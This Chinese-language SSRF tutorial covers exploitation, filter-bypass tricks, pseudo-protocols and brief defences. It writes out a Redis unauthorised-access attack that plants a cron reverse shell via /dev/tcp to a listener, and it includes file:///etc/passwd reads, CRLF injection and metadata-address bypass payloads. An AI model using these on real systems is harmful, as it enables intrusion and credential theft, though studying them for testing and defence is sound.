目录
- SSRF攻击
- 原理
- 漏洞利用
- redis未授权访问访问漏洞进行攻击
- SSRF绕过方式
- SSRF中URL的伪协议
- SSRF漏防御手段
SSRF攻击
服务端请求伪造
原理
事故多发地在url分享、收藏、网址翻译功能。
参数通常是:(其实就是参数值是另一个url的地方就有可能有SSRF)
share
link
url
src
like
u
漏洞利用
- 通过外网服务器对内网进行信息收集,探测存活的主机和开放端口号、对内网web应用进行指纹识别。
- 可以利用内网的redis未授权访问漏洞写定时任务反弹shell
- 各种协议进行探测:http/file/dict/ftp/gopher
redis未授权访问访问漏洞进行攻击
redis未授权访问漏洞就是因为没有设定连接密码或者密码太过简单导致的。
- 监听机:centos7.8
nc -lvvp 4444
- 给通过目标主机的redis未授权访问漏洞写入反弹shell的指令
redis-cli -h 192.168.0.104 set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.61.164/4444 0>&1\n\n"
# * * * * *表示每分钟执行一次,/bin/bash -i是创建一个bash终端,
# >&/dev/tcp/192.168.61.149/4444是发送给192.168.61.149的4444端口的监听程序。
config set dir /var/spool/cron
config set dbfilename root # 必须是某个用户的名称,#因为定时任务的文件名称是根据用户名称来的,可以是root用户的名称
save #保存,会将redis中的数据保存到指定的目录和dbfilename指定的文件中去
监听机一会就能看到反弹回来的shell了
SSRF绕过方式
- 限制为http://www.xxx.com 域名时(利用@)
可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com
,在对@解析域名中,如果是PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。 - 短链接绕过:https://dwz.cn/
通过一些短链接转换方式绕过黑名单。同时这种短链接转换还能进行一些钓鱼攻击行为。 - 进制转换
十进制的127.0.0.1可以换成八进制、十六进制都可以,不管是windows还是linux都能够解析
- 特殊域名(不过现在不能用了,如果有道友找到另外的请务必分享一下,感激不尽)
原理是DNS解析。xip.io
可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1 - 利用[::],这个是针对ipv6的
可以利用[::]来绕过localhost
比如:http://169.254.169.254>>http://[::169.254.169.254]
只要对方支持ipv6的ip地址访问就行 - 利用句号
127。0。0。1 >>> 127.0.0.1
比如: ping 127。0。0。1,注意,linux系统才能识别,windows系统不能识别 - CRLF 编码绕过
%0d->0x0d->\r回车
%0a->0x0a->\n换行
HTTP头部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
- 利用类似于颜文字的字母和数字(只有linux能解析)
利用Enclosed alphanumerics,有些输入法直接就可以输入这样的封闭字符
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
比如ping ①②⑦.⓪.⓪.① 注意,也是linux系统支持
SSRF中URL的伪协议
以下所有可用的URL伪协议都可以在发现ssrf漏洞点的时候尝试一遍。
http:// 主要用于探测主机存活和端口的开放情况
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info
gopher:// 分布式文档传递服务,可使用gopherus生成payload
ftp:// 针对21端口的探测
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议 windows 域控
SSRF漏防御手段
- 过滤返回的信息,即使探测到了,你经过过滤后,内网信息依旧不回返回给用户
- 限制请求的端口号:比如你对于该探测到的内网端口号只开放80的话,或者说本来就是开放给用户的该端口那就只开放那个端口号即可。否则就都关闭。
- ip加黑或者加白
- url限制死也是一种办法
- 协议不用的都ban掉,以免出现问题